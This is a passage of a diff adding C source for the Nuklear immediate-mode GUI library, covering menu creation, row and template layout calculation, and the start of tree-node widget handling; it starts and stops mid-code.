layout->bounds.h; + nk_push_scissor(out, layout->clip); +} +NK_INTERN int +nk_menu_begin(struct nk_context *ctx, struct nk_window *win, + const char *id, int is_clicked, struct nk_rect header, struct nk_vec2 size) +{ + int is_open = 0; + int is_active = 0; + struct nk_rect body; + struct nk_window *popup; + nk_hash hash = nk_murmur_hash(id, (int)nk_strlen(id), NK_PANEL_MENU); + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + body.x = header.x; + body.w = size.x; + body.y = header.y + header.h; + body.h = size.y; + + popup = win->popup.win; + is_open = popup ? nk_true : nk_false; + is_active = (popup && (win->popup.name == hash) && win->popup.type == NK_PANEL_MENU); + if ((is_clicked && is_open && !is_active) || (is_open && !is_active) || + (!is_open && !is_active && !is_clicked)) return 0; + if (!nk_nonblock_begin(ctx, NK_WINDOW_NO_SCROLLBAR, body, header, NK_PANEL_MENU)) + return 0; + + win->popup.type = NK_PANEL_MENU; + win->popup.name = hash; + return 1; +} +NK_API int +nk_menu_begin_text(struct nk_context *ctx, const char *title, int len, + nk_flags align, struct nk_vec2 size) +{ + struct nk_window *win; + const struct nk_input *in; + struct nk_rect header; + int is_clicked = nk_false; + nk_flags state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + state = nk_widget(&header, ctx); + if (!state) return 0; + in = (state == NK_WIDGET_ROM || win->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + if (nk_do_button_text(&ctx->last_widget_state, &win->buffer, header, + title, len, align, NK_BUTTON_DEFAULT, &ctx->style.menu_button, in, ctx->style.font)) + is_clicked = nk_true; + return nk_menu_begin(ctx, win, title, is_clicked, header, size); +} +NK_API int nk_menu_begin_label(struct nk_context *ctx, + const char *text, nk_flags align, struct nk_vec2 size) +{ + return nk_menu_begin_text(ctx, text, nk_strlen(text), align, size); +} +NK_API int +nk_menu_begin_image(struct nk_context *ctx, const char *id, struct nk_image img, + struct nk_vec2 size) +{ + struct nk_window *win; + struct nk_rect header; + const struct nk_input *in; + int is_clicked = nk_false; + nk_flags state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + state = nk_widget(&header, ctx); + if (!state) return 0; + in = (state == NK_WIDGET_ROM || win->layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + if (nk_do_button_image(&ctx->last_widget_state, &win->buffer, header, + img, NK_BUTTON_DEFAULT, &ctx->style.menu_button, in)) + is_clicked = nk_true; + return nk_menu_begin(ctx, win, id, is_clicked, header, size); +} +NK_API int +nk_menu_begin_symbol(struct nk_context *ctx, const char *id, + enum nk_symbol_type sym, struct nk_vec2 size) +{ + struct nk_window *win; + const struct nk_input *in; + struct nk_rect header; + int is_clicked = nk_false; + nk_flags state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + state = nk_widget(&header, ctx); + if (!state) return 0; + in = (state == NK_WIDGET_ROM || win->layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + if (nk_do_button_symbol(&ctx->last_widget_state, &win->buffer, header, + sym, NK_BUTTON_DEFAULT, &ctx->style.menu_button, in, ctx->style.font)) + is_clicked = nk_true; + return nk_menu_begin(ctx, win, id, is_clicked, header, size); +} +NK_API int +nk_menu_begin_image_text(struct nk_context *ctx, const char *title, int len, + nk_flags align, struct nk_image img, struct nk_vec2 size) +{ + struct nk_window *win; + struct nk_rect header; + const struct nk_input *in; + int is_clicked = nk_false; + nk_flags state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + state = nk_widget(&header, ctx); + if (!state) return 0; + in = (state == NK_WIDGET_ROM || win->layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + if (nk_do_button_text_image(&ctx->last_widget_state, &win->buffer, + header, img, title, len, align, NK_BUTTON_DEFAULT, &ctx->style.menu_button, + ctx->style.font, in)) + is_clicked = nk_true; + return nk_menu_begin(ctx, win, title, is_clicked, header, size); +} +NK_API int +nk_menu_begin_image_label(struct nk_context *ctx, + const char *title, nk_flags align, struct nk_image img, struct nk_vec2 size) +{ + return nk_menu_begin_image_text(ctx, title, nk_strlen(title), align, img, size); +} +NK_API int +nk_menu_begin_symbol_text(struct nk_context *ctx, const char *title, int len, + nk_flags align, enum nk_symbol_type sym, struct nk_vec2 size) +{ + struct nk_window *win; + struct nk_rect header; + const struct nk_input *in; + int is_clicked = nk_false; + nk_flags state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + state = nk_widget(&header, ctx); + if (!state) return 0; + + in = (state == NK_WIDGET_ROM || win->layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + if (nk_do_button_text_symbol(&ctx->last_widget_state, &win->buffer, + header, sym, title, len, align, NK_BUTTON_DEFAULT, &ctx->style.menu_button, + ctx->style.font, in)) is_clicked = nk_true; + return nk_menu_begin(ctx, win, title, is_clicked, header, size); +} +NK_API int +nk_menu_begin_symbol_label(struct nk_context *ctx, + const char *title, nk_flags align, enum nk_symbol_type sym, struct nk_vec2 size ) +{ + return nk_menu_begin_symbol_text(ctx, title, nk_strlen(title), align,sym,size); +} +NK_API int +nk_menu_item_text(struct nk_context *ctx, const char *title, int len, nk_flags align) +{ + return nk_contextual_item_text(ctx, title, len, align); +} +NK_API int +nk_menu_item_label(struct nk_context *ctx, const char *label, nk_flags align) +{ + return nk_contextual_item_label(ctx, label, align); +} +NK_API int +nk_menu_item_image_label(struct nk_context *ctx, struct nk_image img, + const char *label, nk_flags align) +{ + return nk_contextual_item_image_label(ctx, img, label, align); +} +NK_API int +nk_menu_item_image_text(struct nk_context *ctx, struct nk_image img, + const char *text, int len, nk_flags align) +{ + return nk_contextual_item_image_text(ctx, img, text, len, align); +} +NK_API int nk_menu_item_symbol_text(struct nk_context *ctx, enum nk_symbol_type sym, + const char *text, int len, nk_flags align) +{ + return nk_contextual_item_symbol_text(ctx, sym, text, len, align); +} +NK_API int nk_menu_item_symbol_label(struct nk_context *ctx, enum nk_symbol_type sym, + const char *label, nk_flags align) +{ + return nk_contextual_item_symbol_label(ctx, sym, label, align); +} +NK_API void nk_menu_close(struct nk_context *ctx) +{ + nk_contextual_close(ctx); +} +NK_API void +nk_menu_end(struct nk_context *ctx) +{ + nk_contextual_end(ctx); +} + + + + + +/* =============================================================== + * + * LAYOUT + * + * ===============================================================*/ +NK_API void +nk_layout_set_min_row_height(struct nk_context *ctx, float height) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + layout->row.min_height = height; +} +NK_API void +nk_layout_reset_min_row_height(struct nk_context *ctx) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + layout->row.min_height = ctx->style.font->height; + layout->row.min_height += ctx->style.text.padding.y*2; + layout->row.min_height += ctx->style.window.min_row_height_padding*2; +} +NK_LIB float +nk_layout_row_calculate_usable_space(const struct nk_style *style, enum nk_panel_type type, + float total_space, int columns) +{ + float panel_padding; + float panel_spacing; + float panel_space; + + struct nk_vec2 spacing; + struct nk_vec2 padding; + + spacing = style->window.spacing; + padding = nk_panel_get_padding(style, type); + + /* calculate the usable panel space */ + panel_padding = 2 * padding.x; + panel_spacing = (float)NK_MAX(columns - 1, 0) * spacing.x; + panel_space = total_space - panel_padding - panel_spacing; + return panel_space; +} +NK_LIB void +nk_panel_layout(const struct nk_context *ctx, struct nk_window *win, + float height, int cols) +{ + struct nk_panel *layout; + const struct nk_style *style; + struct nk_command_buffer *out; + + struct nk_vec2 item_spacing; + struct nk_color color; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + /* prefetch some configuration data */ + layout = win->layout; + style = &ctx->style; + out = &win->buffer; + color = style->window.background; + item_spacing = style->window.spacing; + + /* if one of these triggers you forgot to add an `if` condition around either + a window, group, popup, combobox or contextual menu `begin` and `end` block. + Example: + if (nk_begin(...) {...} nk_end(...); or + if (nk_group_begin(...) { nk_group_end(...);} */ + NK_ASSERT(!(layout->flags & NK_WINDOW_MINIMIZED)); + NK_ASSERT(!(layout->flags & NK_WINDOW_HIDDEN)); + NK_ASSERT(!(layout->flags & NK_WINDOW_CLOSED)); + + /* update the current row and set the current row layout */ + layout->row.index = 0; + layout->at_y += layout->row.height; + layout->row.columns = cols; + if (height == 0.0f) + layout->row.height = NK_MAX(height, layout->row.min_height) + item_spacing.y; + else layout->row.height = height + item_spacing.y; + + layout->row.item_offset = 0; + if (layout->flags & NK_WINDOW_DYNAMIC) { + /* draw background for dynamic panels */ + struct nk_rect background; + background.x = win->bounds.x; + background.w = win->bounds.w; + background.y = layout->at_y - 1.0f; + background.h = layout->row.height + 1.0f; + nk_fill_rect(out, background, 0, color); + } +} +NK_LIB void +nk_row_layout(struct nk_context *ctx, enum nk_layout_format fmt, + float height, int cols, int width) +{ + /* update the current row and set the current row layout */ + struct nk_window *win; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + nk_panel_layout(ctx, win, height, cols); + if (fmt == NK_DYNAMIC) + win->layout->row.type = NK_LAYOUT_DYNAMIC_FIXED; + else win->layout->row.type = NK_LAYOUT_STATIC_FIXED; + + win->layout->row.ratio = 0; + win->layout->row.filled = 0; + win->layout->row.item_offset = 0; + win->layout->row.item_width = (float)width; +} +NK_API float +nk_layout_ratio_from_pixel(struct nk_context *ctx, float pixel_width) +{ + struct nk_window *win; + NK_ASSERT(ctx); + NK_ASSERT(pixel_width); + if (!ctx || !ctx->current || !ctx->current->layout) return 0; + win = ctx->current; + return NK_CLAMP(0.0f, pixel_width/win->bounds.x, 1.0f); +} +NK_API void +nk_layout_row_dynamic(struct nk_context *ctx, float height, int cols) +{ + nk_row_layout(ctx, NK_DYNAMIC, height, cols, 0); +} +NK_API void +nk_layout_row_static(struct nk_context *ctx, float height, int item_width, int cols) +{ + nk_row_layout(ctx, NK_STATIC, height, cols, item_width); +} +NK_API void +nk_layout_row_begin(struct nk_context *ctx, enum nk_layout_format fmt, + float row_height, int cols) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + nk_panel_layout(ctx, win, row_height, cols); + if (fmt == NK_DYNAMIC) + layout->row.type = NK_LAYOUT_DYNAMIC_ROW; + else layout->row.type = NK_LAYOUT_STATIC_ROW; + + layout->row.ratio = 0; + layout->row.filled = 0; + layout->row.item_width = 0; + layout->row.item_offset = 0; + layout->row.columns = cols; +} +NK_API void +nk_layout_row_push(struct nk_context *ctx, float ratio_or_width) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + NK_ASSERT(layout->row.type == NK_LAYOUT_STATIC_ROW || layout->row.type == NK_LAYOUT_DYNAMIC_ROW); + if (layout->row.type != NK_LAYOUT_STATIC_ROW && layout->row.type != NK_LAYOUT_DYNAMIC_ROW) + return; + + if (layout->row.type == NK_LAYOUT_DYNAMIC_ROW) { + float ratio = ratio_or_width; + if ((ratio + layout->row.filled) > 1.0f) return; + if (ratio > 0.0f) + layout->row.item_width = NK_SATURATE(ratio); + else layout->row.item_width = 1.0f - layout->row.filled; + } else layout->row.item_width = ratio_or_width; +} +NK_API void +nk_layout_row_end(struct nk_context *ctx) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + NK_ASSERT(layout->row.type == NK_LAYOUT_STATIC_ROW || layout->row.type == NK_LAYOUT_DYNAMIC_ROW); + if (layout->row.type != NK_LAYOUT_STATIC_ROW && layout->row.type != NK_LAYOUT_DYNAMIC_ROW) + return; + layout->row.item_width = 0; + layout->row.item_offset = 0; +} +NK_API void +nk_layout_row(struct nk_context *ctx, enum nk_layout_format fmt, + float height, int cols, const float *ratio) +{ + int i; + int n_undef = 0; + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + nk_panel_layout(ctx, win, height, cols); + if (fmt == NK_DYNAMIC) { + /* calculate width of undefined widget ratios */ + float r = 0; + layout->row.ratio = ratio; + for (i = 0; i < cols; ++i) { + if (ratio[i] < 0.0f) + n_undef++; + else r += ratio[i]; + } + r = NK_SATURATE(1.0f - r); + layout->row.type = NK_LAYOUT_DYNAMIC; + layout->row.item_width = (r > 0 && n_undef > 0) ? (r / (float)n_undef):0; + } else { + layout->row.ratio = ratio; + layout->row.type = NK_LAYOUT_STATIC; + layout->row.item_width = 0; + layout->row.item_offset = 0; + } + layout->row.item_offset = 0; + layout->row.filled = 0; +} +NK_API void +nk_layout_row_template_begin(struct nk_context *ctx, float height) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + nk_panel_layout(ctx, win, height, 1); + layout->row.type = NK_LAYOUT_TEMPLATE; + layout->row.columns = 0; + layout->row.ratio = 0; + layout->row.item_width = 0; + layout->row.item_height = 0; + layout->row.item_offset = 0; + layout->row.filled = 0; + layout->row.item.x = 0; + layout->row.item.y = 0; + layout->row.item.w = 0; + layout->row.item.h = 0; +} +NK_API void +nk_layout_row_template_push_dynamic(struct nk_context *ctx) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + NK_ASSERT(layout->row.type == NK_LAYOUT_TEMPLATE); + NK_ASSERT(layout->row.columns < NK_MAX_LAYOUT_ROW_TEMPLATE_COLUMNS); + if (layout->row.type != NK_LAYOUT_TEMPLATE) return; + if (layout->row.columns >= NK_MAX_LAYOUT_ROW_TEMPLATE_COLUMNS) return; + layout->row.templates[layout->row.columns++] = -1.0f; +} +NK_API void +nk_layout_row_template_push_variable(struct nk_context *ctx, float min_width) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + NK_ASSERT(layout->row.type == NK_LAYOUT_TEMPLATE); + NK_ASSERT(layout->row.columns < NK_MAX_LAYOUT_ROW_TEMPLATE_COLUMNS); + if (layout->row.type != NK_LAYOUT_TEMPLATE) return; + if (layout->row.columns >= NK_MAX_LAYOUT_ROW_TEMPLATE_COLUMNS) return; + layout->row.templates[layout->row.columns++] = -min_width; +} +NK_API void +nk_layout_row_template_push_static(struct nk_context *ctx, float width) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + NK_ASSERT(layout->row.type == NK_LAYOUT_TEMPLATE); + NK_ASSERT(layout->row.columns < NK_MAX_LAYOUT_ROW_TEMPLATE_COLUMNS); + if (layout->row.type != NK_LAYOUT_TEMPLATE) return; + if (layout->row.columns >= NK_MAX_LAYOUT_ROW_TEMPLATE_COLUMNS) return; + layout->row.templates[layout->row.columns++] = width; +} +NK_API void +nk_layout_row_template_end(struct nk_context *ctx) +{ + struct nk_window *win; + struct nk_panel *layout; + + int i = 0; + int variable_count = 0; + int min_variable_count = 0; + float min_fixed_width = 0.0f; + float total_fixed_width = 0.0f; + float max_variable_width = 0.0f; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + NK_ASSERT(layout->row.type == NK_LAYOUT_TEMPLATE); + if (layout->row.type != NK_LAYOUT_TEMPLATE) return; + for (i = 0; i < layout->row.columns; ++i) { + float width = layout->row.templates[i]; + if (width >= 0.0f) { + total_fixed_width += width; + min_fixed_width += width; + } else if (width < -1.0f) { + width = -width; + total_fixed_width += width; + max_variable_width = NK_MAX(max_variable_width, width); + variable_count++; + } else { + min_variable_count++; + variable_count++; + } + } + if (variable_count) { + float space = nk_layout_row_calculate_usable_space(&ctx->style, layout->type, + layout->bounds.w, layout->row.columns); + float var_width = (NK_MAX(space-min_fixed_width,0.0f)) / (float)variable_count; + int enough_space = var_width >= max_variable_width; + if (!enough_space) + var_width = (NK_MAX(space-total_fixed_width,0)) / (float)min_variable_count; + for (i = 0; i < layout->row.columns; ++i) { + float *width = &layout->row.templates[i]; + *width = (*width >= 0.0f)? *width: (*width < -1.0f && !enough_space)? -(*width): var_width; + } + } +} +NK_API void +nk_layout_space_begin(struct nk_context *ctx, enum nk_layout_format fmt, + float height, int widget_count) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + nk_panel_layout(ctx, win, height, widget_count); + if (fmt == NK_STATIC) + layout->row.type = NK_LAYOUT_STATIC_FREE; + else layout->row.type = NK_LAYOUT_DYNAMIC_FREE; + + layout->row.ratio = 0; + layout->row.filled = 0; + layout->row.item_width = 0; + layout->row.item_offset = 0; +} +NK_API void +nk_layout_space_end(struct nk_context *ctx) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + layout->row.item_width = 0; + layout->row.item_height = 0; + layout->row.item_offset = 0; + nk_zero(&layout->row.item, sizeof(layout->row.item)); +} +NK_API void +nk_layout_space_push(struct nk_context *ctx, struct nk_rect rect) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + layout->row.item = rect; +} +NK_API struct nk_rect +nk_layout_space_bounds(struct nk_context *ctx) +{ + struct nk_rect ret; + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + win = ctx->current; + layout = win->layout; + + ret.x = layout->clip.x; + ret.y = layout->clip.y; + ret.w = layout->clip.w; + ret.h = layout->row.height; + return ret; +} +NK_API struct nk_rect +nk_layout_widget_bounds(struct nk_context *ctx) +{ + struct nk_rect ret; + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + win = ctx->current; + layout = win->layout; + + ret.x = layout->at_x; + ret.y = layout->at_y; + ret.w = layout->bounds.w - NK_MAX(layout->at_x - layout->bounds.x,0); + ret.h = layout->row.height; + return ret; +} +NK_API struct nk_vec2 +nk_layout_space_to_screen(struct nk_context *ctx, struct nk_vec2 ret) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + win = ctx->current; + layout = win->layout; + + ret.x += layout->at_x - (float)*layout->offset_x; + ret.y += layout->at_y - (float)*layout->offset_y; + return ret; +} +NK_API struct nk_vec2 +nk_layout_space_to_local(struct nk_context *ctx, struct nk_vec2 ret) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + win = ctx->current; + layout = win->layout; + + ret.x += -layout->at_x + (float)*layout->offset_x; + ret.y += -layout->at_y + (float)*layout->offset_y; + return ret; +} +NK_API struct nk_rect +nk_layout_space_rect_to_screen(struct nk_context *ctx, struct nk_rect ret) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + win = ctx->current; + layout = win->layout; + + ret.x += layout->at_x - (float)*layout->offset_x; + ret.y += layout->at_y - (float)*layout->offset_y; + return ret; +} +NK_API struct nk_rect +nk_layout_space_rect_to_local(struct nk_context *ctx, struct nk_rect ret) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + win = ctx->current; + layout = win->layout; + + ret.x += -layout->at_x + (float)*layout->offset_x; + ret.y += -layout->at_y + (float)*layout->offset_y; + return ret; +} +NK_LIB void +nk_panel_alloc_row(const struct nk_context *ctx, struct nk_window *win) +{ + struct nk_panel *layout = win->layout; + struct nk_vec2 spacing = ctx->style.window.spacing; + const float row_height = layout->row.height - spacing.y; + nk_panel_layout(ctx, win, row_height, layout->row.columns); +} +NK_LIB void +nk_layout_widget_space(struct nk_rect *bounds, const struct nk_context *ctx, + struct nk_window *win, int modify) +{ + struct nk_panel *layout; + const struct nk_style *style; + + struct nk_vec2 spacing; + struct nk_vec2 padding; + + float item_offset = 0; + float item_width = 0; + float item_spacing = 0; + float panel_space = 0; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + style = &ctx->style; + NK_ASSERT(bounds); + + spacing = style->window.spacing; + padding = nk_panel_get_padding(style, layout->type); + panel_space = nk_layout_row_calculate_usable_space(&ctx->style, layout->type, + layout->bounds.w, layout->row.columns); + + #define NK_FRAC(x) (x - (int)x) /* will be used to remove fookin gaps */ + /* calculate the width of one item inside the current layout space */ + switch (layout->row.type) { + case NK_LAYOUT_DYNAMIC_FIXED: { + /* scaling fixed size widgets item width */ + float w = NK_MAX(1.0f,panel_space) / (float)layout->row.columns; + item_offset = (float)layout->row.index * w; + item_width = w + NK_FRAC(item_offset); + item_spacing = (float)layout->row.index * spacing.x; + } break; + case NK_LAYOUT_DYNAMIC_ROW: { + /* scaling single ratio widget width */ + float w = layout->row.item_width * panel_space; + item_offset = layout->row.item_offset; + item_width = w + NK_FRAC(item_offset); + item_spacing = 0; + + if (modify) { + layout->row.item_offset += w + spacing.x; + layout->row.filled += layout->row.item_width; + layout->row.index = 0; + } + } break; + case NK_LAYOUT_DYNAMIC_FREE: { + /* panel width depended free widget placing */ + bounds->x = layout->at_x + (layout->bounds.w * layout->row.item.x); + bounds->x -= (float)*layout->offset_x; + bounds->y = layout->at_y + (layout->row.height * layout->row.item.y); + bounds->y -= (float)*layout->offset_y; + bounds->w = layout->bounds.w * layout->row.item.w + NK_FRAC(bounds->x); + bounds->h = layout->row.height * layout->row.item.h + NK_FRAC(bounds->y); + return; + } + case NK_LAYOUT_DYNAMIC: { + /* scaling arrays of panel width ratios for every widget */ + float ratio, w; + NK_ASSERT(layout->row.ratio); + ratio = (layout->row.ratio[layout->row.index] < 0) ? + layout->row.item_width : layout->row.ratio[layout->row.index]; + + w = (ratio * panel_space); + item_spacing = (float)layout->row.index * spacing.x; + item_offset = layout->row.item_offset; + item_width = w + NK_FRAC(item_offset); + + if (modify) { + layout->row.item_offset += w; + layout->row.filled += ratio; + } + } break; + case NK_LAYOUT_STATIC_FIXED: { + /* non-scaling fixed widgets item width */ + item_width = layout->row.item_width; + item_offset = (float)layout->row.index * item_width; + item_spacing = (float)layout->row.index * spacing.x; + } break; + case NK_LAYOUT_STATIC_ROW: { + /* scaling single ratio widget width */ + item_width = layout->row.item_width; + item_offset = layout->row.item_offset; + item_spacing = (float)layout->row.index * spacing.x; + if (modify) layout->row.item_offset += item_width; + } break; + case NK_LAYOUT_STATIC_FREE: { + /* free widget placing */ + bounds->x = layout->at_x + layout->row.item.x; + bounds->w = layout->row.item.w; + if (((bounds->x + bounds->w) > layout->max_x) && modify) + layout->max_x = (bounds->x + bounds->w); + bounds->x -= (float)*layout->offset_x; + bounds->y = layout->at_y + layout->row.item.y; + bounds->y -= (float)*layout->offset_y; + bounds->h = layout->row.item.h; + return; + } + case NK_LAYOUT_STATIC: { + /* non-scaling array of panel pixel width for every widget */ + item_spacing = (float)layout->row.index * spacing.x; + item_width = layout->row.ratio[layout->row.index]; + item_offset = layout->row.item_offset; + if (modify) layout->row.item_offset += item_width; + } break; + case NK_LAYOUT_TEMPLATE: { + /* stretchy row layout with combined dynamic/static widget width*/ + float w; + NK_ASSERT(layout->row.index < layout->row.columns); + NK_ASSERT(layout->row.index < NK_MAX_LAYOUT_ROW_TEMPLATE_COLUMNS); + w = layout->row.templates[layout->row.index]; + item_offset = layout->row.item_offset; + item_width = w + NK_FRAC(item_offset); + item_spacing = (float)layout->row.index * spacing.x; + if (modify) layout->row.item_offset += w; + } break; + #undef NK_FRAC + default: NK_ASSERT(0); break; + }; + + /* set the bounds of the newly allocated widget */ + bounds->w = item_width; + bounds->h = layout->row.height - spacing.y; + bounds->y = layout->at_y - (float)*layout->offset_y; + bounds->x = layout->at_x + item_offset + item_spacing + padding.x; + if (((bounds->x + bounds->w) > layout->max_x) && modify) + layout->max_x = bounds->x + bounds->w; + bounds->x -= (float)*layout->offset_x; +} +NK_LIB void +nk_panel_alloc_space(struct nk_rect *bounds, const struct nk_context *ctx) +{ + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + /* check if the end of the row has been hit and begin new row if so */ + win = ctx->current; + layout = win->layout; + if (layout->row.index >= layout->row.columns) + nk_panel_alloc_row(ctx, win); + + /* calculate widget position and size */ + nk_layout_widget_space(bounds, ctx, win, nk_true); + layout->row.index++; +} +NK_LIB void +nk_layout_peek(struct nk_rect *bounds, struct nk_context *ctx) +{ + float y; + int index; + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + y = layout->at_y; + index = layout->row.index; + if (layout->row.index >= layout->row.columns) { + layout->at_y += layout->row.height; + layout->row.index = 0; + } + nk_layout_widget_space(bounds, ctx, win, nk_false); + if (!layout->row.index) { + bounds->x -= layout->row.item_offset; + } + layout->at_y = y; + layout->row.index = index; +} + + + + + +/* =============================================================== + * + * TREE + * + * ===============================================================*/ +NK_INTERN int +nk_tree_state_base(struct nk_context *ctx, enum nk_tree_type type, + struct nk_image *img, const char *title, enum nk_collapse_states *state) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_style *style; + struct nk_command_buffer *out; + const struct nk_input *in; + const struct nk_style_button *button; + enum nk_symbol_type symbol; + float row_height; + + struct nk_vec2 item_spacing; + struct nk_rect header = {0,0,0,0}; + struct nk_rect sym = {0,0,0,0}; + struct nk_text text; + + nk_flags ws = 0; + enum nk_widget_layout_states widget_state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + /* cache some data */ + win = ctx->current; + layout = win->layout; + out = &win->buffer; + style = &ctx->style; + item_spacing = style->window.spacing; + + /* calculate header bounds and draw background */ + row_height = style->font->height + 2 * style->tab.padding.y; + nk_layout_set_min_row_height(ctx, row_height); + nk_layout_row_dynamic(ctx, row_height, 1); + nk_layout_reset_min_row_height(ctx); + + widget_state = nk_widget(&header, ctx); + if (type == NK_TREE_TAB) { + const struct nk_style_item *background = &style->tab.background; + if (background->type == NK_STYLE_ITEM_IMAGE) { + nk_draw_image(out, header, &background->data.image, nk_white); + text.background = nk_rgba(0,0,0,0); + } else { + text.background = background->data.color; + nk_fill_rect(out, header, 0, style->tab.border_color); + nk_fill_rect(out, nk_shrink_rect(header, style->tab.border), + style->tab.rounding, background->data.color); + } + } else text.background = style->window.background; + + /* update node state */ + in = (!(layout->flags & NK_WINDOW_ROM)) ? &ctx->input: 0; + in = (in && widget_state == NK_WIDGET_VALID) ? &ctx->input : 0; + if (nk_button_behavior(&ws, header, in, NK_BUTTON_DEFAULT)) + *state = (*state == NK_MAXIMIZED) 